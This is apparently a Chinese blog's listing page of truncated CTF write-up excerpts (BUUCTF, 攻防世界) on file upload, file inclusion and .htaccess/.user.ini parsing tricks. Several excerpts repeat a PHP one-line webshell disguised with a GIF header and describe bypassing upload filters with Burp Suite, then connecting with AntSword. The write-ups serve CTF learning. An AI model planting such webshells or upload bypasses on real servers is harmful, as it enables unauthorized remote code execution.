weixin_44632787的博客

BUUCTF之[SUCTF 2019]CheckIn ---------------------- .user.ini制作后门这道题我做过很多遍了，但是好几次都是做不出来。只能一边又一边的跑去看别人的WP。但是随着次数多了，慢慢的就会做了。从一开始不理解到理解，现在我一看到这个题目就能想起接下来的做题步骤了…还真是应了那两句成语：勤能补拙，熟能生巧。题目知识点一句话木马.user.ini 文件包含制作后门.user.ini...

BUUCTF之[BSidesCF 2020]Had a bad day题目点击下面的那两个按钮的时候，发现图片会变化。而且链接上的值也是跟着变化。（看上去像是文件包含的题目）点击链接的时候只是category=后面的值改变，使用盲猜是文件包含漏洞。所以试试?category=flag.php好吧，可能是攻击的方式不对。换换其它的：?category=flag.php # 失败?category=flag # 失败?category=php://filter/read=co

BUUCTF之[MRCTF2020]你传你????呢虽然这题对于大佬来说是属于简单题。但是对于我这种小白来说却是第一次见。算是学到东西了。所以在此记录一下，以后看到这种类似的题目也可以回来复习。。。首先，启动挑战的项目emmmmmmm这个页面很有个性。。。一开始以为只是个简单的文件上传漏洞，结果没做出来。不管怎么样，先上传一句话木马。并且将下面的内容保存成文件1.pngGIF89a? <script language="php">eval($_POST['zyh']);</s

BUUCTF之[GXYCTF2019]BabyUpload-------文件解析漏洞（.htaccess）早上遇到一个文件解析漏洞，下午又遇到一个。。。。好吧，看来文件解析漏洞在CTF中也是很重要的一个知识点！！！首先启动挑战项目先正常的上传一句话木马：GIF89a?<script language="php">eval($_POST['zyh']);</script>我经常用这样的一句话木马，为了防止php文件内容被过滤啥的…所以，把传输的文件名改回1.pn

攻防世界之upload1题目文件上传漏洞，所以上传一句话木马…GIF89a? <script language="php">eval($_POST['zyh']);</script>一开始是直接上传php文件，但是发现它会被拦下没关系，那就先改成文件后缀名，然后用BurpSuite抓包！然后再用BurpSuite改一下后缀名就可以了（改成php文件）最后再用蚁剑链接就可以得到Flag了...

BUUCTF之[MRCTF2020]套娃题目发现什么都没有，于是鼠标右键查看一下提示。可以看到PHP代码<?php//1st$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!');} if($_GET['b_u_p_t'] !== '23333' &